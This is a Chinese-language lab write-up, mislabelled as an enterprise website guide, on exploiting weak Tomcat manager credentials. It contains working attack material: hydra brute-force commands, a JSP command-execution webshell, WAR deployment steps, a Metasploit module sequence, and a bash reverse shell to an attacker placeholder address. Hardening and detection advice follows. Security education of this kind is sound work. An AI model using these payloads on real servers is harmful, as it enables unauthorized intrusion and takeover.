企业官网建设流程全解析

1. 项目概述与核心目标

最近在整理一些安全测试的实战笔记，翻到了之前在360众测靶场里做的一道关于Tomcat远程代码执行（RCE）的题目。这道题非常经典，它模拟了一个因配置不当而导致的Tomcat管理后台弱口令漏洞，并最终通过部署恶意WAR包实现远程代码执行。对于刚入门Web安全或想了解中间件漏洞原理的朋友来说，这是一个绝佳的动手实验。今天，我就把这个靶场环境复现一遍，从环境搭建、漏洞发现、利用过程到原理分析，完整地拆解一遍。整个过程不需要复杂的工具链，用到的都是Kali Linux或任何渗透测试环境中常见的基础工具，比如Nmap、Burp Suite或者直接浏览器操作。我们的核心目标很明确：理解Tomcat管理后台的认证机制，掌握通过弱口令或默认口令进入后台后，如何利用“部署”功能上传一个包含后门的Web应用（WAR包），从而在目标服务器上执行任意命令。这不仅是一个漏洞利用的练习，更是理解“配置即安全”这一理念的生动案例。很多线上事故的根源，往往就始于一个被遗忘在公网、使用默认密码的管理入口。

2. 靶场环境搭建与配置解析

2.1 靶机环境准备

为了原汁原味地复现漏洞，我们需要一个存在弱口令的Tomcat环境。最直接的方法是使用Docker快速拉取一个预置了漏洞的镜像。这里我选择使用vulhub项目中的Tomcat弱口令镜像，它完美模拟了题目中的场景。

首先，确保你的实验机器上安装了Docker和Docker Compose。然后，我们创建一个专门的工作目录并编写docker-compose.yml文件：

version: '3' services: tomcat: image: vulhub/tomcat:8.5 ports: - "8080:8080" environment: TOMCAT_PASS: "tomcat" # 这里设置了默认的管理员密码

这个配置非常简洁。它使用了一个预构建的镜像，将容器的8080端口映射到宿主机的8080端口，并设置了一个环境变量TOMCAT_PASS，其值为tomcat。这正是漏洞的关键：镜像内部已经将Tomcat管理后台（/manager/html）的账号密码设置为tomcat/tomcat。执行docker-compose up -d命令后，一个带有漏洞的Tomcat服务就在本地的8080端口运行起来了。

注意：在实际的渗透测试或众测项目中，你遇到的可能是任意版本的Tomcat，密码也可能是其他弱口令，如admin/admin、tomcat/tomcat、甚至空密码。这个镜像为我们提供了一个标准化的、可重复的测试环境。

2.2 漏洞点与攻击面分析

环境启动后，我们首先对目标进行信息收集。访问http://your-ip:8080，可以看到Tomcat的默认首页。但这并非我们的主要目标。Tomcat的管理功能通常通过几个特定的路径提供：

• /manager/html：用于管理Web应用的图形化界面（本题的入口）。
• /manager/status：查看服务器状态。
• /host-manager/html：管理虚拟主机。

这些路径通常受到“BASIC”认证或表单认证的保护。本题的漏洞核心就在于认证绕过或弱口令。攻击者通过猜测、爆破或利用默认凭证，成功登录管理后台，从而获得了极高的权限。一旦进入后台，“部署”功能允许用户上传一个WAR（Web Application Archive）文件，Tomcat会自动将其解压并部署为一个新的Web应用。如果这个WAR文件中包含恶意的JSP脚本（例如，可以执行系统命令的脚本），那么攻击者就能通过访问这个新部署的应用，实现远程代码执行。

所以，整个攻击链可以清晰地归纳为：发现开放的管理端口 -> 爆破或使用默认口令进入后台 -> 利用部署功能上传恶意WAR包 -> 访问后门执行命令。理解这个链条，对于防御和溯源都至关重要。

3. 漏洞探测与利用过程全记录

3.1 信息收集与服务识别

在实战中，我们通常从一个IP地址开始。第一步永远是信息收集。使用Nmap对目标进行端口扫描是最基本的手段。

nmap -sV -p 1-65535 <target_ip>

一个更针对性的快速扫描可以只检查常见Web端口：

nmap -sV -p 80,443,8080,8009 <target_ip>

假设扫描结果显示目标<target_ip>的8080端口开放，服务识别为Apache Tomcat/Coyote JSP engine。版本信息可能显示为Apache Tomcat 8.5.x。这一步确认了我们面对的是一个Tomcat服务，并且管理接口很可能可用。

3.2 管理后台发现与弱口令爆破

接下来，我们需要验证管理后台是否存在以及其认证情况。直接使用浏览器访问http://<target_ip>:8080/manager/html，会弹出一个HTTP基础认证的对话框，要求输入用户名和密码。这就是认证屏障。

对于弱口令，我们可以尝试一些常见的组合：

• tomcat / tomcat
• admin / admin
• both / tomcat
• role1 / role1
• root / root

在本题的靶场环境中，我们已知密码是tomcat/tomcat，所以可以直接输入进入。但在未知情况下，就需要使用工具进行爆破。这里可以使用Hydra进行HTTP基础认证的爆破：

hydra -L user.txt -P pass.txt <target_ip> http-get /manager/html

其中user.txt和pass.txt是包含常见用户名和密码的字典文件。爆破成功后，Hydra会输出可用的凭证。

实操心得：爆破管理后台时，流量特征比较明显，容易被WAF或IDS拦截。在实际测试中，可以尝试降低线程数、增加延迟，或者先尝试最常见的几组默认口令。很多时候，运维人员的疏忽就在于没有修改出厂设置，第一组tomcat/tomcat就能成功。

成功登录后，我们会进入Tomcat Web应用管理器的界面。这里可以看到当前已部署的应用列表，以及最重要的功能按钮：“部署”。

3.3 恶意WAR包的制作

这是利用环节的关键步骤。我们需要制作一个包含JSP后门的WAR包。JSP后门是一个可以接收参数并执行系统命令的JSP页面。

首先，创建一个简单的JSP文件，命名为cmd.jsp，内容如下：

<%@ page import="java.util.*,java.io.*"%> <% if (request.getParameter("cmd") != null) { Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); } } %>

这个JSP脚本定义了一个cmd参数。当访问cmd.jsp?cmd=whoami时，服务器会执行whoami命令并将结果返回页面。

接下来，将cmd.jsp打包成WAR文件。在Linux或Mac上，可以使用jar命令（JDK自带）：

jar -cvf shell.war cmd.jsp

在Windows上，如果没有jar命令，可以先将cmd.jsp放入一个空文件夹（例如shell），然后使用压缩软件（如7-Zip）将该文件夹压缩成ZIP格式，最后将.zip后缀直接改为.war即可。核心在于WAR包的本质就是一个具有特定结构的ZIP文件，其根目录下直接包含WEB-INF目录或Web资源文件（如JSP）。

注意事项：制作WAR包时，确保JSP文件在包的根目录。你可以用解压软件检查生成的shell.war，里面应该直接是cmd.jsp文件，而不是在一个子文件夹里。如果路径不对，部署后访问的URL会发生变化，导致找不到后门。

3.4 利用部署功能上传与执行

回到Tomcat管理后台的“部署”区域。通常有两个部分：“部署目录或WAR文件的位置”。我们使用“要部署的WAR文件”选项。

1. 点击“选择文件”按钮，选中我们刚制作好的shell.war。
2. 点击“部署”按钮。

如果上传成功，页面会刷新，并在应用列表里看到一个新部署的应用，名字就是你的WAR包文件名（不含后缀），例如shell。

现在，漏洞利用已经完成。访问http://<target_ip>:8080/shell/cmd.jsp，你应该能看到一个空白页面（因为还没传cmd参数）。在URL后面加上?cmd=whoami，即访问http://<target_ip>:8080/shell/cmd.jsp?cmd=whoami，页面上就会显示出执行whoami命令的结果，通常是root或tomcat等，这证明了远程代码执行成功。

你可以尝试执行其他命令，如cmd=id查看当前用户权限，cmd=ls -la /列出根目录，cmd=cat /etc/passwd查看系统用户等。

4. 漏洞原理深度剖析与防御思考

4.1 漏洞产生的根本原因

这个漏洞链看似简单，却暴露了运维和安全中的几个典型问题：

1. 暴露管理接口到公网：这是最根本的错误。Tomcat的管理接口（/manager，/host-manager）设计初衷是给管理员在内网环境使用的。将其直接暴露在互联网上，极大地扩大了攻击面。
2. 使用弱口令或默认口令：即使接口不得不对外（在某些特定架构下），使用强度不足的密码等同于不设防。tomcat/tomcat是安装后众所周知的默认凭证，必须在第一次启动后立即修改。
3. 部署功能权限过高：管理后台的“部署”功能本质上赋予了上传者服务器文件写入和代码执行的权限。在旧版本或配置不当的Tomcat中，甚至可能不需要重启服务就能生效，实现了“一键getshell”。

从技术层面看，当恶意WAR包被上传后，Tomcat会将其解压到webapps目录下（例如webapps/shell/），其中的JSP文件在首次被访问时，会被Tomcat的Jasper编译器编译成Servlet并加载执行。由于执行进程就是Tomcat的服务进程（通常以较高权限运行，如root或专门的tomcat用户），因此通过JSP执行的系统命令也就继承了这些权限。

4.2 多层次防御方案

理解了漏洞成因，防御措施就清晰了。这需要开发、运维和安全团队共同协作：

1. 网络层隔离（最有效）：

   • 严格禁止将Tomcat管理端口（默认8080, 8005等）对公网开放。通过防火墙、安全组策略，仅允许特定的管理IP或跳板机访问。
   • 在生产环境中，Tomcat应部署在内网，前端通过Nginx/Apache等反向代理对外提供服务，代理服务器只转发业务路径（如/），不转发/manager/*和/host-manager/*。

2. 访问控制强化：

   • 强制修改默认密码：安装后第一件事就是修改conf/tomcat-users.xml文件中的用户密码。删除或注释掉默认的tomcat用户配置。
   • 使用强密码策略：密码应足够复杂，并定期更换。
   • 限制管理用户：在tomcat-users.xml中，只为必要的用户分配manager-gui、manager-script等角色，遵循最小权限原则。
   • 启用HTTPS：为管理接口配置SSL/TLS，防止凭证在传输过程中被嗅探。

3. 应用层加固：

   • 删除或重命名管理应用：在生产服务器上，可以考虑直接删除webapps目录下的manager和host-manager文件夹。如果需要使用，可以将其重命名为不易猜测的名字。
   • 配置Context安全策略：在manager/META-INF/context.xml中，可以配置<Valve>标签来限制访问源IP。
   • 使用Tomcat自带的安全防护：如配置RemoteAddrValve或RemoteHostValve来过滤请求。

4. 安全运维与监控：

   • 定期漏洞扫描与配置审计：使用工具定期检查中间件配置、版本和漏洞。
   • 部署文件完整性监控：监控webapps目录的变更，任何非预期的WAR包部署都应触发告警。
   • 日志审计：仔细分析Tomcat的localhost_access_log和catalina.out日志，关注对/manager/html的登录尝试（特别是失败尝试）以及对陌生上下文路径（如/shell/*）的访问。

5. 拓展利用与高级技巧

5.1 自动化利用工具

在实战中，为了提高效率，我们可以使用一些自动化工具。最著名的当属Metasploit Framework中的tomcat_mgr_upload模块。

msfconsole use exploit/multi/http/tomcat_mgr_upload set RHOSTS <target_ip> set RPORT 8080 set HttpUsername tomcat set HttpPassword tomcat set TARGETURI /manager exploit

这个模块会自动完成检测、上传WAR包、部署和执行一系列动作，最终返回一个Meterpreter会话。使用自动化工具的好处是快速，但作为学习者，理解其每一步背后的手动操作原理更为重要。

5.2 权限维持与内网渗透

成功获取一个Webshell（即我们的cmd.jsp）只是第一步。在真实的攻防演练或渗透测试中，我们通常会以此为基础，进行权限维持和横向移动。

1. 提权：检查Tomcat进程的运行权限。如果是root，那么你已经拥有最高权限。如果是低权限用户（如tomcat），则需要寻找本地提权漏洞。可以上传如LinPEAS、LinuxExploitSuggester等脚本进行信息收集和漏洞探测。
2. 反弹Shell：Webshell的交互性通常较差。我们可以通过JSP页面执行命令，反弹一个完整的Shell回攻击机。例如，使用bash或nc反弹：

   # 在攻击机监听 nc -lvnp 4444 # 在Webshell执行 bash -c 'bash -i >& /dev/tcp/<attack_ip>/4444 0>&1'

   需要将上述命令进行URL编码后通过cmd参数传递。
3. 内网探测：拿到Shell后，可以查看网络配置（ifconfig、ip addr），探测内网其他存活主机（fping或nmap），尝试进行横向移动。

5.3 针对不同场景的利用变种

除了弱口令，Tomcat管理后台的漏洞利用还有其他一些场景：

1. 后台路径爆破：有些管理员会修改管理路径，但可能改为其他常见名称。可以使用字典对/admin/，/manage/，/console/等路径进行爆破。
2. PUT方法上传：在Tomcat 7.x某些特定配置下（默认配置的readonly为false），可以直接通过HTTP PUT方法上传文件，而不需要登录管理后台。这通常需要配合其他漏洞（如路径遍历）来将文件上传到可执行目录。利用工具如metasploit的tomcat_ghostcat（CVE-2020-1938）或手工测试。
3. CVE-2017-12615（远程代码执行）：这是与本题非常相关的一个CVE。当Tomcat运行在Windows主机上，且启用了HTTP PUT方法时，攻击者可以通过构造特殊的请求，上传一个JSP文件。其利用方式与本题类似，但绕过了后台登录。防御措施同样是禁用PUT方法或配置readonly=true。

6. 常见问题排查与修复验证实录

在复现和利用过程中，你可能会遇到一些问题。这里记录一些常见的情况和解决方法。

6.1 漏洞利用阶段问题

6.2 防御措施验证

在实施防御措施后，如何进行有效性验证至关重要。

1. 验证管理接口不可达：从外网尝试访问http://your-server:8080/manager/html，应连接超时或被明确拒绝（如403、404）。可以使用telnet your-server 8080然后手动构造HTTP请求来测试。
2. 验证强口令：使用弱口令字典进行爆破测试，应全部失败。可以设置账户锁定策略，防止暴力破解。
3. 验证文件上传限制：即使通过某种方式进入了后台（模拟内网攻击者），尝试上传一个测试WAR包，检查是否受到文件类型、大小或内容安全检查的拦截。
4. 日志审计验证：模拟一次攻击尝试（如失败的登录），然后检查Tomcat的访问日志和安全日志（如果配置了），确认攻击行为被清晰记录。

6.3 从漏洞修复到安全左移

修复一个已知漏洞是“治标”，建立持续的安全能力才是“治本”。对于企业而言，应该做到：

• 安全基线：为Tomcat等中间件制定统一的安全配置基线，并纳入自动化部署流程（如Ansible, Puppet）。
• 镜像安全：在构建Docker镜像时，就移除不必要的管理应用和默认用户，使用强密码并注入环境变量。
• 持续监控：将Webshell上传、异常文件部署、管理接口访问等行为纳入SIEM（安全信息和事件管理）系统进行实时监控和告警。
• 定期演练：通过内部红蓝对抗或渗透测试，主动发现类似配置缺陷，检验防御措施的有效性。

手动复现一次这样的漏洞利用，其收获远大于阅读十篇理论文章。它让你真切地感受到，一个微小的配置疏忽（弱口令），如何被串联起来形成一条完整的攻击链，最终导致服务器沦陷。对于开发者，这提醒你在设计系统时要时刻考虑“最小权限”原则；对于运维人员，这强调了配置管理和网络隔离的重要性；对于安全人员，这则是一个经典的检测案例，告诉你应该在日志和流量中关注哪些异常模式。安全是一个整体，任何一个环节的短板都可能成为突破口。